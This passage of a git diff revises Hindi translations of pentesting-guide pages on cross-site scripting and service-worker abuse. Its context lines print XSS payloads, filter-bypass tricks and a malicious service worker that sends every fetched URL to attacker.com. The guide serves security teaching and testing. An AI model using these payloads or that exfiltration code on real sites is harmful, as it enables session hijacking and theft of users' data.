हैं**: ![](<../../images/image (747).png>) @@ -114,11 +115,11 @@ nextElementSibiling lastElementSibiling parentElement ``` -आप सीधे **Javascript फ़ंक्शंस** को भी **ट्रिगर** करने की कोशिश कर सकते हैं: `obj.sales.delOrders`। +आप सीधे **Javascript फ़ंक्शंस** को **trigger** करने की कोशिश कर सकते हैं: `obj.sales.delOrders`। हालांकि, आमतौर पर निर्दिष्ट फ़ंक्शन को निष्पादित करने वाले एंडपॉइंट्स ऐसे एंडपॉइंट्स होते हैं जिनमें ज्यादा दिलचस्प DOM नहीं होता है, **समान मूल के अन्य पृष्ठों** में **ज्यादा दिलचस्प DOM** होगा जिससे अधिक क्रियाएँ की जा सकें। -इसलिए, **विभिन्न DOM में इस कमजोरियों का दुरुपयोग करने के लिए** **Same Origin Method Execution (SOME)** शोषण विकसित किया गया: +इसलिए, **विभिन्न DOM में इस कमजोरियों का दुरुपयोग करने के लिए** **Same Origin Method Execution (SOME)** शोषण विकसित किया गया था: {{#ref}} some-same-origin-method-execution.md @@ -134,7 +135,7 @@ dom-xss.md ### **Universal XSS** -इस प्रकार के XSS **कहीं भी** पाए जा सकते हैं। ये केवल एक वेब एप्लिकेशन के क्लाइंट शोषण पर निर्भर नहीं करते बल्कि **किसी भी** **संदर्भ** पर निर्भर करते हैं। इस प्रकार के **मनमाने JavaScript निष्पादन** का दुरुपयोग **RCE** प्राप्त करने, **क्लाइंट्स और सर्वर्स में मनमाने फ़ाइलों को पढ़ने**, और अधिक के लिए भी किया जा सकता है।\ +इस प्रकार के XSS **कहीं भी** पाए जा सकते हैं। ये केवल एक वेब एप्लिकेशन के क्लाइंट शोषण पर निर्भर नहीं करते बल्कि **किसी भी** **संदर्भ** पर निर्भर करते हैं। इस प्रकार के **मनमाने JavaScript निष्पादन** का दुरुपयोग **RCE** प्राप्त करने, **क्लाइंट्स और सर्वर्स में मनमाने फ़ाइलों को पढ़ने**, और अधिक के लिए किया जा सकता है।\ कुछ **उदाहरण**: {{#ref}} @@ -163,16 +164,16 @@ alert(1) ``` -लेकिन, यदि टैग/विशेषताएँ काली/सफेद सूचीकरण का उपयोग कर रही हैं, तो आपको **यह पता लगाने के लिए ब्रूट-फोर्स करना होगा कि कौन से टैग** आप बना सकते हैं।\ -एक बार जब आप **यह पता लगा लेते हैं कि कौन से टैग अनुमत हैं**, तो आपको **पाई गई वैध टैग के अंदर विशेषताएँ/इवेंट्स** के लिए ब्रूट-फोर्स करना होगा ताकि आप यह देख सकें कि आप संदर्भ पर कैसे हमला कर सकते हैं। +लेकिन, यदि टैग/विशेषताएँ काली/सफेद सूची में हैं, तो आपको **यह पता लगाने के लिए ब्रूट-फोर्स करना होगा कि कौन से टैग** आप बना सकते हैं।\ +एक बार जब आप **यह पता कर लेते हैं कि कौन से टैग अनुमत हैं**, तो आपको **पाए गए मान्य टैग के अंदर विशेषताएँ/इवेंट्स** के लिए ब्रूट-फोर्स करना होगा ताकि आप यह देख सकें कि आप संदर्भ पर कैसे हमला कर सकते हैं। ### टैग/इवेंट्स ब्रूट-फोर्स -जाएँ [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) और _**क्लिपबोर्ड में टैग कॉपी करें**_ पर क्लिक करें। फिर, सभी को Burp intruder का उपयोग करके भेजें और जांचें कि क्या कोई टैग WAF द्वारा दुर्भावनापूर्ण के रूप में खोजा नहीं गया था। एक बार जब आप यह पता लगा लेते हैं कि आप कौन से टैग का उपयोग कर सकते हैं, तो आप वैध टैग का उपयोग करके **सभी इवेंट्स के लिए ब्रूट फोर्स कर सकते हैं** (एक ही वेब पृष्ठ पर _**क्लिपबोर्ड में इवेंट्स कॉपी करें**_ पर क्लिक करें और पहले की तरह ही प्रक्रिया का पालन करें)। +जाएँ [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) और _**क्लिपबोर्ड में टैग कॉपी करें**_ पर क्लिक करें। फिर, सभी को Burp intruder का उपयोग करके भेजें और जांचें कि क्या कोई टैग WAF द्वारा दुर्भावनापूर्ण के रूप में खोजा नहीं गया। एक बार जब आप यह पता कर लेते हैं कि आप कौन से टैग का उपयोग कर सकते हैं, तो आप मान्य टैग का उपयोग करके **सभी इवेंट्स के लिए ब्रूट फोर्स कर सकते हैं** (एक ही वेब पृष्ठ पर _**क्लिपबोर्ड में इवेंट्स कॉपी करें**_ पर क्लिक करें और पहले की तरह ही प्रक्रिया का पालन करें)। ### कस्टम टैग -यदि आपने कोई वैध HTML टैग नहीं पाया, तो आप **एक कस्टम टैग बनाने** और `onfocus` विशेषता के साथ JS कोड निष्पादित करने का प्रयास कर सकते हैं। XSS अनुरोध में, आपको URL को `#` के साथ समाप्त करना होगा ताकि पृष्ठ **उस वस्तु पर ध्यान केंद्रित करे** और **कोड** को **निष्पादित** करे: +यदि आपने कोई मान्य HTML टैग नहीं पाया, तो आप **एक कस्टम टैग बनाने** और `onfocus` विशेषता के साथ JS कोड निष्पादित करने का प्रयास कर सकते हैं। XSS अनुरोध में, आपको URL को `#` के साथ समाप्त करना होगा ताकि पृष्ठ **उस वस्तु पर ध्यान केंद्रित करे** और **कोड** निष्पादित करे: ``` /?search=#x ``` @@ -241,7 +242,7 @@ To check in which characters are decomposed check [here](https://www.compart.com ### Click XSS - Clickjacking -यदि आप इस भेद्यता का लाभ उठाने के लिए **उपयोगकर्ता को एक लिंक या फॉर्म** पर क्लिक करने की आवश्यकता है जिसमें पूर्व-भरे हुए डेटा हैं, तो आप [**Clickjacking का दुरुपयोग करने की कोशिश कर सकते हैं**](../clickjacking.md#xss-clickjacking) (यदि पृष्ठ भेद्य है)। +यदि किसी भेद्यता का लाभ उठाने के लिए आपको **उपयोगकर्ता को एक लिंक या एक फॉर्म** पर क्लिक करने की आवश्यकता है जिसमें पूर्व-भरे हुए डेटा हैं, तो आप [**Clickjacking का दुरुपयोग करने की कोशिश कर सकते हैं**](../clickjacking.md#xss-clickjacking) (यदि पृष्ठ भेद्य है)। ### Impossible - Dangling Markup @@ -251,8 +252,8 @@ To check in which characters are decomposed check [here](https://www.compart.com ### Inside the tag/escaping from attribute value -यदि आप **HTML टैग के अंदर हैं**, तो आप जो पहली चीज़ कर सकते हैं वह है टैग से **escape** करना और [पिछले अनुभाग](#injecting-inside-raw-html) में उल्लेखित कुछ तकनीकों का उपयोग करके JS कोड निष्पादित करना।\ -यदि आप **टैग से escape नहीं कर सकते**, तो आप टैग के अंदर नए विशेषताएँ बना सकते हैं ताकि JS कोड निष्पादित करने की कोशिश की जा सके, उदाहरण के लिए कुछ payload का उपयोग करके (_ध्यान दें कि इस उदाहरण में विशेषता से escape करने के लिए डबल उद्धरण का उपयोग किया गया है, यदि आपका इनपुट सीधे टैग के अंदर परिलक्षित होता है तो आपको उनकी आवश्यकता नहीं होगी_) : +यदि आप **HTML टैग के अंदर हैं**, तो आप जो पहली चीज़ कर सकते हैं वह है **टैग से बचना** और [पिछले अनुभाग](#injecting-inside-raw-html) में उल्लेखित कुछ तकनीकों का उपयोग करके JS कोड निष्पादित करना।\ +यदि आप **टैग से नहीं बच सकते**, तो आप टैग के अंदर नए विशेषताएँ बना सकते हैं ताकि JS कोड निष्पादित करने की कोशिश की जा सके, उदाहरण के लिए कुछ पेलोड का उपयोग करके जैसे (_ध्यान दें कि इस उदाहरण में विशेषता से बचने के लिए डबल कोट्स का उपयोग किया गया है, यदि आपका इनपुट सीधे टैग के अंदर परिलक्षित होता है तो आपको उनकी आवश्यकता नहीं होगी_) : ```bash " autofocus onfocus=alert(document.domain) x=" " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t @@ -269,8 +270,8 @@ To check in which characters are decomposed check [here](https://www.compart.com ``` ### Within the attribute -यहां तक कि अगर आप **attribute से भाग नहीं सकते** (`"` को एन्कोड या हटा दिया गया है), यह इस पर निर्भर करता है कि **कौन सा attribute** आपका मान प्रतिबिंबित हो रहा है **यदि आप सभी मान को नियंत्रित करते हैं या केवल एक भाग** तो आप इसका दुरुपयोग कर सकेंगे। **उदाहरण के लिए**, यदि आप एक इवेंट को नियंत्रित करते हैं जैसे `onclick=` तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे।\ -एक और दिलचस्प **उदाहरण** है attribute `href`, जहां आप `javascript:` प्रोटोकॉल का उपयोग करके मनमाना कोड निष्पादित कर सकते हैं: **`href="javascript:alert(1)"`** +यहां तक कि अगर आप **attribute से भाग नहीं सकते** (`"` को एन्कोड या डिलीट किया जा रहा है), यह इस पर निर्भर करता है कि **कौन सा attribute** आपके मान में परिलक्षित हो रहा है **यदि आप सभी मान को नियंत्रित करते हैं या केवल एक भाग** तो आप इसका दुरुपयोग कर सकेंगे। **उदाहरण के लिए**, यदि आप एक इवेंट को नियंत्रित करते हैं जैसे `onclick=` तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे।\ +एक और दिलचस्प **उदाहरण** है attribute `href`, जहां आप मनमाना कोड निष्पादित करने के लिए `javascript:` प्रोटोकॉल का उपयोग कर सकते हैं: **`href="javascript:alert(1)"`** **HTML एन्कोडिंग/URL एन्कोड का उपयोग करके इवेंट के अंदर बायपास** @@ -327,7 +328,7 @@  A6Ly93d3cudzMub3JnLzIwMDAvc ``` **इन स्थानों पर आप इन प्रोटोकॉल को इंजेक्ट कर सकते हैं** -**सामान्यतः** `javascript:` प्रोटोकॉल को **किसी भी टैग में उपयोग किया जा सकता है जो `href` विशेषता को स्वीकार करता है** और **अधिकतर** उन टैग्स में जो **`src` विशेषता को स्वीकार करते हैं** (लेकिन `` में नहीं) +**सामान्यतः** `javascript:` प्रोटोकॉल को **किसी भी टैग में उपयोग किया जा सकता है जो `href` एट्रिब्यूट को स्वीकार करता है** और **अधिकतर** टैग में जो **`src` एट्रिब्यूट को स्वीकार करते हैं** (लेकिन `` नहीं) ```html @@ -359,11 +360,11 @@ _**इस मामले में, पिछले अनुभाग से H %27-alert(1)-%27 ``` -ध्यान दें कि यदि आप किसी भी क्रम में **दोनों** `URLencode + HTMLencode` का उपयोग करने की कोशिश करते हैं तो **payload** को एन्कोड करने के लिए यह **काम नहीं करेगा**, लेकिन आप **payload के अंदर उन्हें मिला सकते हैं**। +ध्यान दें कि यदि आप किसी भी क्रम में **URLencode + HTMLencode** का **उपयोग** करने की कोशिश करते हैं तो यह **काम नहीं करेगा**, लेकिन आप **payload के अंदर उन्हें मिला सकते हैं**। -**`javascript:` के साथ Hex और Octal एन्कोड का उपयोग करना** +**`javascript:` के साथ Hex और Octal encode का उपयोग करना** -आप **Hex** और **Octal एन्कोड** का उपयोग `iframe` के `src` विशेषता के अंदर (कम से कम) **HTML टैग्स को JS निष्पादित करने के लिए** कर सकते हैं: +आप **Hex** और **Octal encode** का उपयोग `iframe` के `src` विशेषता के अंदर (कम से कम) **HTML टैग्स को JS निष्पादित करने के लिए** कर सकते हैं: ```javascript //Encoded: // This WORKS @@ -379,7 +380,8 @@ _**इस मामले में, पिछले अनुभाग से H ```javascript
Newsletter popup
``` -आप एक **XSS पेलोड को एक छिपे हुए एट्रिब्यूट के अंदर निष्पादित** कर सकते हैं, बशर्ते आप **शिकार** को **की संयोजन** दबाने के लिए **राजी** कर सकें। Firefox Windows/Linux पर की संयोजन **ALT+SHIFT+X** है और OS X पर यह **CTRL+ALT+X** है। आप एक्सेस की एट्रिब्यूट में एक अलग की का उपयोग करके एक अलग की संयोजन निर्दिष्ट कर सकते हैं। यहाँ वेक्टर है: +आप एक **XSS payload को एक छिपे हुए attribute के अंदर** निष्पादित कर सकते हैं, बशर्ते आप **शिकार** को **की संयोजन** दबाने के लिए **राजी** कर सकें। Firefox Windows/Linux पर की संयोजन **ALT+SHIFT+X** है और OS X पर यह **CTRL+ALT+X** है। आप access key attribute में एक अलग key का उपयोग करके एक अलग की संयोजन निर्दिष्ट कर सकते हैं। यहाँ वेक्टर है: ```html ``` @@ -432,7 +434,7 @@ onbeforetoggle="alert(2)" /> ### ब्लैकलिस्ट बायपास -इस अनुभाग में विभिन्न एन्कोडिंग का उपयोग करने के कई ट्रिक्स पहले ही उजागर किए जा चुके हैं। **वापस जाएं और सीखें कि आप कहां उपयोग कर सकते हैं:** +इस अनुभाग में विभिन्न एन्कोडिंग का उपयोग करने के कई ट्रिक्स पहले ही उजागर किए जा चुके हैं। **वापस जाएं और जानें कि आप कहां उपयोग कर सकते हैं:** - **HTML एन्कोडिंग (HTML टैग)** - **यूनिकोड एन्कोडिंग (मान्य JS कोड हो सकता है):** `\u0061lert(1)` @@ -446,7 +448,7 @@ onbeforetoggle="alert(2)" /> **जावास्क्रिप्ट कोड के लिए बायपास** -[जावास्क्रिप्ट बायपास ब्लैकलिस्ट पढ़ें](#javascript-bypass-blacklists-techniques). +अगले अनुभाग के J[avaScript बायपास ब्लैकलिस्ट पढ़ें](#javascript-bypass-blacklists-techniques). ### CSS-गैजेट्स @@ -470,7 +472,7 @@ onbeforetoggle="alert(2)" /> ## जावास्क्रिप्ट कोड के अंदर इंजेक्ट करना -इन मामलों में आपका **इनपुट** **JS कोड** के एक `.js` फ़ाइल में या `` टैग के बीच या HTML इवेंट्स के बीच जो JS कोड को निष्पादित कर सकते हैं या उन विशेषताओं के बीच जो `javascript:` प्रोटोकॉल को स्वीकार करते हैं, **प्रतिबिंबित** होने वाला है। +इन मामलों में आपका **इनपुट** **JS कोड** के एक `.js` फ़ाइल के अंदर या `` टैग के बीच या HTML इवेंट के बीच जो JS कोड को निष्पादित कर सकते हैं या उन विशेषताओं के बीच जो `javascript:` प्रोटोकॉल को स्वीकार करते हैं, **प्रतिबिंबित** होने वाला है। ### \ ``` @@ -899,7 +903,7 @@ import moment from "moment" import { partition } from "lodash" ``` -इस व्यवहार का उपयोग [**इस लेख**](https://github.com/zwade/yaca/tree/master/solution) में एक पुस्तकालय को पुनः मैप करने के लिए किया गया था ताकि इसका दुरुपयोग किया जा सके, जिससे XSS ट्रिगर हो सकता है। +यह व्यवहार [**इस लेख**](https://github.com/zwade/yaca/tree/master/solution) में एक पुस्तकालय को पुनः मानचित्रित करने के लिए उपयोग किया गया था ताकि इसका दुरुपयोग किया जा सके, जिससे XSS ट्रिगर हो सकता है। - [**speculationrules**](https://github.com/WICG/nav-speculation)**:** यह सुविधा मुख्य रूप से प्री-रेंडरिंग के कारण उत्पन्न कुछ समस्याओं को हल करने के लिए है। यह इस तरह काम करता है: ```html @@ -934,7 +938,7 @@ import { partition } from "lodash" ### xml Content Type -यदि पृष्ठ एक text/xml सामग्री प्रकार लौटाता है तो यह एक namespace निर्दिष्ट करना और मनमाना JS निष्पादित करना संभव है: +यदि पृष्ठ text/xml सामग्री प्रकार लौटाता है तो यह एक namespace निर्दिष्ट करना और मनमाना JS निष्पादित करना संभव है: ```xml hello @@ -944,12 +948,13 @@ import { partition } from "lodash" ``` ### विशेष प्रतिस्थापन पैटर्न -जब कुछ इस तरह का **`"some {{template}} data".replace("{{template}}", )`** उपयोग किया जाता है। तो हमलावर [**विशेष स्ट्रिंग प्रतिस्थापन**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) का उपयोग करके कुछ सुरक्षा उपायों को बायपास करने की कोशिश कर सकता है: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` +जब कुछ इस तरह का **`"some {{template}} data".replace("{{template}}", )`** उपयोग किया जाता है। हमलावर [**विशेष स्ट्रिंग प्रतिस्थापन**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) का उपयोग करके कुछ सुरक्षा उपायों को बायपास करने की कोशिश कर सकता है: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` -उदाहरण के लिए [**इस लेख**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) में, इसका उपयोग एक स्क्रिप्ट के अंदर **JSON स्ट्रिंग को स्केप** करने और मनमाने कोड को निष्पादित करने के लिए किया गया था। +उदाहरण के लिए [**इस लेख**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) में, इसका उपयोग **एक स्क्रिप्ट के अंदर JSON स्ट्रिंग को स्केप करने** और मनमानी कोड को निष्पादित करने के लिए किया गया था। ### क्रोम कैश से XSS + {{#ref}} chrome-cache-to-xss.md {{#endref}} @@ -1011,7 +1016,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync( ) })() ``` -पिछले उदाहरण की तरह, **त्रुटि हैंडलर्स** का उपयोग करके **मॉड्यूल** के **wrapper** तक पहुंचना और **`require`** फ़ंक्शन प्राप्त करना संभव है: +पिछले उदाहरण की तरह, **त्रुटि हैंडलर्स** का उपयोग करके **मॉड्यूल** के **व्रैपर** तक पहुँचने और **`require`** फ़ंक्शन प्राप्त करना संभव है: ```javascript try { null.f() @@ -1051,7 +1056,7 @@ trigger() ``` ### Obfuscation & Advanced Bypass -- **एक पृष्ठ में विभिन्न ओबफस्केशन:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) +- **एक पृष्ठ में विभिन्न ओबफस्केशन्स:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) @@ -1234,13 +1239,15 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o] ### 1 में कई पेलोड + {{#ref}} steal-info-js.md {{#endref}} ### आईफ्रेम ट्रैप -उपयोगकर्ता को एक आईफ्रेम से बाहर निकले बिना पृष्ठ में नेविगेट करने के लिए मजबूर करें और उनकी क्रियाओं (फॉर्म में भेजी गई जानकारी सहित) को चुराएं: +उपयोगकर्ता को एक आईफ्रेम से बाहर निकले बिना पृष्ठ में नेविगेट करने के लिए मजबूर करें और उसकी क्रियाओं (फॉर्म में भेजी गई जानकारी सहित) को चुराएं: + {{#ref}} ../iframe-traps.md @@ -1383,7 +1390,7 @@ body:username.value+':'+this.value ### कीलॉगर -बस गिटहब पर खोजने पर मैंने कुछ अलग-अलग कीलॉगर पाए: +सिर्फ गिटहब पर खोजने पर मुझे कुछ अलग-अलग मिले: - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) @@ -1415,18 +1422,21 @@ document.getElementById("message").src += "&"+e.data; ``` ### सेवा कार्यकर्ताओं का दुरुपयोग + {{#ref}} abusing-service-workers.md {{#endref}} ### शैडो डोम तक पहुँच + {{#ref}} shadow-dom.md {{#endref}} ### पॉलीग्लॉट्स + {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt {{#endref}} @@ -1500,7 +1510,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln ``` ### Regex - Access Hidden Content -[**इस लेख**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) से यह सीखना संभव है कि भले ही कुछ मान JS से गायब हो जाएं, फिर भी उन्हें विभिन्न वस्तुओं में JS विशेषताओं में ढूंढना संभव है। उदाहरण के लिए, REGEX का एक इनपुट इसे ढूंढना अभी भी संभव है जब regex के इनपुट का मान हटा दिया गया हो: +[**इस लेख**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) से यह सीखना संभव है कि भले ही कुछ मान JS से गायब हो जाएं, फिर भी उन्हें विभिन्न वस्तुओं में JS विशेषताओं में ढूंढना संभव है। उदाहरण के लिए, REGEX का एक इनपुट इसे ढूंढना अभी भी संभव है जब REGEX के इनपुट का मान हटा दिया गया हो: ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1519,6 +1529,7 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"] ``` ### Brute-Force List + {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt {{#endref}} @@ -1529,6 +1540,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt क्या आप ऐसा Markdown कोड इंजेक्ट कर सकते हैं जो रेंडर होगा? शायद आप XSS प्राप्त कर सकते हैं! जांचें: + {{#ref}} xss-in-markdown.md {{#endref}} @@ -1544,8 +1556,8 @@ xss-in-markdown.md ### गतिशील रूप से बनाए गए PDF में XSS -यदि एक वेब पृष्ठ उपयोगकर्ता द्वारा नियंत्रित इनपुट का उपयोग करके एक PDF बना रहा है, तो आप **PDF बनाने वाले बॉट** को **मनाने** की कोशिश कर सकते हैं कि वह **मनमाने JS कोड** को **निष्पादित** करे।\ -तो, यदि **PDF निर्माता बॉट** कुछ प्रकार के **HTML** **टैग** पाता है, तो यह उन्हें **व्याख्या** करेगा, और आप इस व्यवहार का **दुरुपयोग** करके **सर्वर XSS** का कारण बन सकते हैं। +यदि एक वेब पृष्ठ उपयोगकर्ता द्वारा नियंत्रित इनपुट का उपयोग करके एक PDF बना रहा है, तो आप **बॉट को धोखा देने** की कोशिश कर सकते हैं जो PDF बना रहा है ताकि वह **मनमाने JS कोड को निष्पादित** करे।\ +तो, यदि **PDF निर्माता बॉट** कुछ प्रकार के **HTML** **टैग** पाता है, तो यह उन्हें **व्याख्या** करेगा, और आप इस व्यवहार का **दुरुपयोग** कर सकते हैं ताकि **सर्वर XSS** हो सके। {{#ref}} server-side-xss-dynamic-pdf.md @@ -1559,11 +1571,11 @@ pdf-injection.md ### Amp4Email में XSS -AMP, मोबाइल उपकरणों पर वेब पृष्ठ प्रदर्शन को तेज करने के लिए, HTML टैग को JavaScript के साथ जोड़ता है ताकि गति और सुरक्षा पर जोर दिया जा सके। यह विभिन्न सुविधाओं के लिए कई घटकों का समर्थन करता है, जो [AMP components](https://amp.dev/documentation/components/?format=websites) के माध्यम से उपलब्ध हैं। +AMP, मोबाइल उपकरणों पर वेब पृष्ठ प्रदर्शन को तेज करने के लिए, HTML टैग को JavaScript के साथ जोड़ता है ताकि गति और सुरक्षा पर जोर देते हुए कार्यक्षमता सुनिश्चित की जा सके। यह विभिन्न सुविधाओं के लिए कई घटकों का समर्थन करता है, जो [AMP components](https://amp.dev/documentation/components/?format=websites) के माध्यम से उपलब्ध हैं। [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) प्रारूप विशिष्ट AMP घटकों को ईमेल में विस्तारित करता है, जिससे प्राप्तकर्ता अपने ईमेल के भीतर सीधे सामग्री के साथ इंटरैक्ट कर सकते हैं। -उदाहरण [**Gmail में Amp4Email में XSS का लेखा-जोखा**](https://adico.me/post/xss-in-gmail-s-amp4email). +उदाहरण [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email)। ### फ़ाइलें अपलोड करते समय XSS (svg) @@ -1623,15 +1635,15 @@ id="foo"/> ```xml ``` -Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +**अधिक SVG पेलोड्स खोजें** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) -## Misc JS Tricks & Relevant Info +## विविध JS ट्रिक्स और संबंधित जानकारी {{#ref}} other-js-tricks.md {{#endref}} -## XSS resources +## XSS संसाधन - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection) - [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list) diff --git a/src/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md b/src/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md index deee5958f..203ec0267 100644 --- a/src/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md +++ b/src/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md @@ -4,31 +4,31 @@ ## Basic Information -A **service worker** एक स्क्रिप्ट है जो आपके ब्राउज़र द्वारा बैकग्राउंड में चलती है, किसी भी वेब पृष्ठ से अलग, ऐसी सुविधाएँ सक्षम करती है जो किसी वेब पृष्ठ या उपयोगकर्ता इंटरैक्शन की आवश्यकता नहीं होती, इस प्रकार **ऑफलाइन और बैकग्राउंड प्रोसेसिंग** क्षमताओं को बढ़ाती है। सेवा कार्यकर्ताओं पर विस्तृत जानकारी [यहाँ](https://developers.google.com/web/fundamentals/primers/service-workers) मिल सकती है। एक कमजोर वेब डोमेन के भीतर सेवा कार्यकर्ताओं का शोषण करके, हमलावर पीड़ित के सभी पृष्ठों के साथ इंटरैक्शन पर नियंत्रण प्राप्त कर सकते हैं। +एक **service worker** एक स्क्रिप्ट है जो आपके ब्राउज़र द्वारा बैकग्राउंड में चलती है, किसी भी वेब पृष्ठ से अलग, ऐसी सुविधाओं को सक्षम करती है जिन्हें वेब पृष्ठ या उपयोगकर्ता इंटरैक्शन की आवश्यकता नहीं होती, इस प्रकार **ऑफलाइन और बैकग्राउंड प्रोसेसिंग** क्षमताओं को बढ़ाती है। सेवा कार्यकर्ताओं पर विस्तृत जानकारी [यहां](https://developers.google.com/web/fundamentals/primers/service-workers) मिल सकती है। एक कमजोर वेब डोमेन के भीतर सेवा कार्यकर्ताओं का शोषण करके, हमलावर पीड़ित के सभी पृष्ठों के साथ इंटरैक्शन पर नियंत्रण प्राप्त कर सकते हैं। ### Checking for Existing Service Workers -मौजूदा सेवा कार्यकर्ताओं की जांच **Developer Tools** में **Application** टैब के **Service Workers** सेक्शन में की जा सकती है। एक और तरीका है [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) पर जाकर अधिक विस्तृत दृश्य प्राप्त करना। +मौजूदा सेवा कार्यकर्ताओं की जांच **Developer Tools** में **Application** टैब के **Service Workers** अनुभाग में की जा सकती है। एक और तरीका है [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) पर जाकर अधिक विस्तृत दृश्य प्राप्त करना। ### Push Notifications -**Push notification permissions** सीधे एक **service worker** की सर्वर के साथ संवाद करने की क्षमता को प्रभावित करते हैं बिना सीधे उपयोगकर्ता इंटरैक्शन के। यदि अनुमतियाँ अस्वीकृत की जाती हैं, तो यह सेवा कार्यकर्ता की निरंतर खतरे के रूप में संभावनाओं को सीमित करता है। इसके विपरीत, अनुमतियाँ देने से सुरक्षा जोखिम बढ़ जाते हैं क्योंकि यह संभावित शोषण के रिसेप्शन और निष्पादन को सक्षम करता है। +**Push notification permissions** सीधे एक **service worker** की सर्वर के साथ बिना सीधे उपयोगकर्ता इंटरैक्शन के संवाद करने की क्षमता को प्रभावित करते हैं। यदि अनुमतियाँ अस्वीकृत की जाती हैं, तो यह सेवा कार्यकर्ता की निरंतर खतरे के रूप में संभावनाओं को सीमित करता है। इसके विपरीत, अनुमतियाँ देने से सुरक्षा जोखिम बढ़ जाते हैं क्योंकि यह संभावित शोषण के रिसेप्शन और निष्पादन को सक्षम करता है। ## Attack Creating a Service Worker इस कमजोरी का शोषण करने के लिए आपको निम्नलिखित खोजने की आवश्यकता है: -- सर्वर पर **मनमाने JS** फ़ाइलें **अपलोड** करने का एक तरीका और **अपलोड की गई JS फ़ाइल** के सेवा कार्यकर्ता को **लोड करने के लिए एक XSS** -- एक **कमजोर JSONP अनुरोध** जहाँ आप **आउटपुट (मनमाने JS कोड के साथ)** को **हेरफेर** कर सकते हैं और एक **XSS** जो **पेलोड के साथ JSONP को लोड करेगा** जो **एक दुर्भावनापूर्ण सेवा कार्यकर्ता** को **लोड करेगा**। +- सर्वर पर **मनमाने JS** फ़ाइलों को **अपलोड** करने का एक तरीका और **XSS** जो अपलोड की गई JS फ़ाइल के सेवा कार्यकर्ता को लोड करता है +- एक **कमजोर JSONP अनुरोध** जहां आप **आउटपुट (मनमाने JS कोड के साथ)** को **हेरफेर** कर सकते हैं और एक **XSS** जो **पेलोड के साथ JSONP को लोड करता है** जो **एक दुर्भावनापूर्ण सेवा कार्यकर्ता** को लोड करेगा। -निम्नलिखित उदाहरण में मैं एक कोड प्रस्तुत करने जा रहा हूँ जो **एक नया सेवा कार्यकर्ता पंजीकृत** करेगा जो `fetch` इवेंट को सुनेगा और **हमलावर के सर्वर को प्रत्येक प्राप्त URL भेजेगा** (यह वह कोड है जिसे आपको **सर्वर** पर **अपलोड** करने की आवश्यकता होगी या **कमजोर JSONP** प्रतिक्रिया के माध्यम से लोड करना होगा): +निम्नलिखित उदाहरण में मैं एक कोड प्रस्तुत करने जा रहा हूँ जो **एक नया सेवा कार्यकर्ता पंजीकृत** करेगा जो `fetch` इवेंट को सुनेगा और **प्रत्येक प्राप्त URL को हमलावर के सर्वर पर भेजेगा** (यह वह कोड है जिसे आपको **सर्वर** पर **अपलोड** करने की आवश्यकता होगी या **कमजोर JSONP** प्रतिक्रिया के माध्यम से लोड करना होगा): ```javascript self.addEventListener('fetch', function(e) { e.respondWith(caches.match(e.request).then(function(response) { fetch('https://attacker.com/fetch_url/' + e.request.url) }); ``` -और यह वह कोड है जो **कार्यकर्ता को पंजीकृत** करेगा (यह कोड जिसे आप **XSS** का दुरुपयोग करके निष्पादित कर सकेंगे)। इस मामले 